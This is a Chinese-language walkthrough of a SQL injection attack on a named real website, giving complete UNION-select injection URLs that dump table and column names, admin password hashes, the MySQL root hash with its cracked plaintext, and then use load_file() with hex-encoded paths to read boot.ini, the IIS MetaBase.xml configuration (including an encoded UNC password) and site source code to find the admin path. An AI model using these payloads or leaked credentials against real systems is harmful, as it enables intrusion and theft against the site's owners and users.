先看一个注入点:

http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database(),0x5c,user(),0x5c,version()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27

得到回显:flier_dbase\root@localhost\5.0.22-community-nt

 

 

 

 

如果说注入点算是第一个漏洞,那么这个root就是管理员制造的第二个网站漏洞了


表段:http://www.fly-er.com.cn/news_detail.php?newsid=1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+table_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_schema=0x666C6965725F6462617365

得到数据:pub_config,pub_tree,pub_webmaster,web_img,web_keys,web_ly,web_news,web_news_review


pub_webmaster的字段:http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+column_name),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572


得到数据:webmasterid,username,userpwd,loginnum,ip,lasttime,tree,name,dtime,sex,jobs


这下出来管理员数据:
http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT+username,0x5f,userpwd),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+pub_webmaster
得到:admin_9b45d683e499e7bd
yfh_7a57a5a743894a0e//这里是第三个漏洞了,弱口令admin



既然找不到后台地址,那么干脆爆MySql管理员的口令
http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(user,password),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user


得到数据:root*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD
数据库就一个账户,如果解不开,岂不是要放弃?那倒不比,第一,咱解开了,对于八位字母数字加符号的密码,学校的分布式密码破解系统毫不吃力的说。不过这个密码是八位字母加符号,也算不的弱口令,暂且不算是漏洞吧。


*CB26B0546CADD30FC2432C095A6A3D54FA3C2FFD对应的明文是qweasd)@
第二,咱还有别的路子,随便访问一个路径,反馈的是IIS6404默认页,说明网站服务器是:Windows+IIS6+php+MySql的环境


先把c:\\boot.ini这串路径进行hex编码得到:0x633A5C5C626F6F742E696E69
然后、http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C626F6F742E696E69),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
看回显:

[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Enterprise" /fastdetect /NoExecute=OptOut

 

 

 

虽然能load_file加载文件,但是似乎用处不大。非也非也,既然是IIS6,那么加载c:\\windows\\system32\\inetsrv\\MetaBase.xml这个路径就可以获取网站配置信息了。
*注:Windows进行文件操作,路径一定要是双斜杠,如果是单斜杠,八成会load_file失败,探讨其原因,可能是因为,斜杠是这样的\左上右下,而Linux则是/右上左下。如果在Windows的路径斜杠后面跟个t也就是\t,看看在编程里面是什么?如果\n呢?\'呢?没错,路径的斜杠就没了。如果是双斜杠,\\那才是真的单斜杠。如果你需要输出双斜杠,那么你要用四个斜杠来表示,郁闷不?\\\\

最后注入句就是:http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x633A5C5C77696E646F77735C5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
得到回显如下:

php_mysql注入load_file()IIS配置文件获取_第1张图片

 

主要看这几句配置:

                AuthFlags="0"

                LogExtFileFlags="LogExtFileDate | LogExtFileTime | LogExtFileClientIp | LogExtFileUriStem | LogExtFileUriQuery | LogExtFileHttpStatus | LogExtFileWin32Status | LogExtFileServerPort | LogExtFileUserAgent | LogExtFileHttpSubStatus"

                LogFileDirectory="E:\flylog"

                LogFileLocaltimeRollover="FALSE"

                LogFilePeriod="1"

                LogFileTruncateSize="20971520"

                LogPluginClsid="{FF160663-DE82-11CF-BC0A-00AA006111E0}"

                ServerAutoStart="TRUE"

                ServerBindings=":80:fly-er.com.cn

                        :80:www.fly-er.com.cn"

                ServerComment="fly-er.com.cn"

        >

复制代码


还有:

                AccessFlags="Acce***ead | AccessWrite | AccessScript"

                AppFriendlyName="默认应用程序"

                AppIsolated="2"

                AppRoot="/LM/W3SVC/2125961364/Root"

                AuthFlags="AuthAnonymous | AuthNTLM"

                DefaultDoc="yindao.html,index.html,index.php,Default.htm,Default.asp,index.htm"

                DirBrowseFlags="DirBrowseShowDate | DirBrowseShowTime | DirBrowseShowSize | DirBrowseShowExtension | DirBrowseShowLongDate | EnableDefaultDoc"

                Path="F:\web\2010716\new_flyer"

                UNCPassword="49634462500000000600000040000000894077f761d33600623e24d0e5dfbe254f63ee6490a3af6f918760ac2fbd00627e07669149f74641659a4383366f9edefd9c02f6555c8692c1c93d2483008b9721cbdae4fac9a380"

        >

复制代码



这下子我们构造:

http://www.fly-er.com.cn/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file(0x463A5C5C7765625C5C323031303731365C5C6E65775F666C7965725C5C696E6465782E706870),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
右键查看源代码就可以了


*注:load_file用的时候,最好在外面加一个hex即:hex(load_file(xxxxxxx))
因为我遇到过一个网站,主页不知道是哪里的代码有问题,注入点在主页。我用主页load_file主页文件,外面没嵌套hex的话,主页就被循环显示了,就是类似这样:index里面有一个iframeiframe加载的是index这个文件,index这个文件里面的iframe又加载index这个文件,循环往复下去,直到把机器资源耗尽。虽然不知道当时那个网站是不是这个iframe,但是这样的嵌套确实有死循环发生,所以建议hex嵌套load_file


我比较在意的是index里面这样的一个地方的代码:

require('admin_flier/common/function.php');

require('admin_flier/lib/class/form.class.php');

require('admin_flier/lib/class/db.class.php');

require('admin_flier/lib/class/page.class.php');

include('inc/head.php');

复制代码


呵呵,这里不就是后台地址么?


php_mysql注入load_file()IIS配置文件获取_第2张图片

 

显然,后台的安全性也不够。就算是隐藏了后台地址,工具扫不到,那也不意味着可以放松后台的安全性吧?